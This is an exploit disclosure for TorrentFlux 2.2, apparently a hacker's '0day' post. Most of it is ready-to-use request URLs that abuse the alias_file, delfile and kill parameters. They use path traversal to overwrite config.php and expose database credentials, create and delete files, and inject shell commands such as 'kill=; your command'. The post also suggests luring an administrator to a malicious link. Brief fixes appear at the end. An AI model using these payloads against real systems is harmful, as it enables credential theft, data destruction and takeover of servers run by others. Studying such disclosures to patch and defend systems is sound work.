TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablity  
-------------------------------------------------------------------------------------------------  
  
alias_file = name of file you want to create.  
delfile = name of file you want to remove  
  
-= To overwrite a file (make sure q.php is there, provided thats the file you want to overwrite): =-  
/torrentflux/index.php?alias_file=../../q.php&kill=3361&kill_torrent= q.torrent  
  
-= To create a file: =-  
/torrentflux/index.php?alias_file=q.php&kill=3361&kill_torrent=q.torrent  
  
All files are filled with:  
0  
0  
Torrent Stopped  
  
-= Exploit on config.php =-  
/torrentflux/index.php?alias_file=../../config.php&kill=3361&kill_torrent=q.torrent  
It will redirect you to index.php and it will display the DATABASE USERNAME/PASSWORD IN PLAINTEXT, plus the rest of the config information!  
  
index.php displays:  
0 -100 Torrent Stopped * TorrentFlux PHP Torrent Manager * www.torrentflux.com

**************************************************************************/ // YOUR DATABASE CONNECTION INFORMATION  
  
/**************************************************************************/ // Check the adodb/drivers/ directory for support for your  
  
database // you may choose from many (mysql is the default) $cfg["db_type"] = "mysql"; // mysql, postgres7 view adodb/drivers/  
  
$cfg["db_host"] = "localhost"; // DB host computer name or IP $cfg["db_name"] = "tf"; // Name of the Database $cfg["db_user"] = "root"; //  
  
username for your MySQL database $cfg["db_pass"] = "owned"; // password for database  
  
-= Files can also be deleted like so: =-  
/torrentflux/index.php?alias_file=owned.php&kill=3361&delfile=owned.php  
  
-= Command Execution Exploit =-  
/torrentflux/index.php?alias_file=owned.php&kill= ; echo "r0ut3r's TorrentFlux 0day" > /tmp/q.php&kill_torrent=q.torrent&return=true  
  
Replace kill parameter like so:  
kill=; your command  
kill=; echo "r0ut3r just owned your system! hacked!" > /tmp/read_this.php  
  
The only draw back is that you have to be a registered member before you can access the functions of index.php.  
Alternatively you could direct the administrator to a link which overwrites the config.php file, then catch the output on index.php somehow (be quick).  
  
Solution:  
----------  
Sanitize all variables listed above and below.  
alias_file  
delfile  
kill  
kill_torrent  
  
Solution 2:  
-----------  
Set up .htaccess and only allow certain people to login until an offical patch is released.
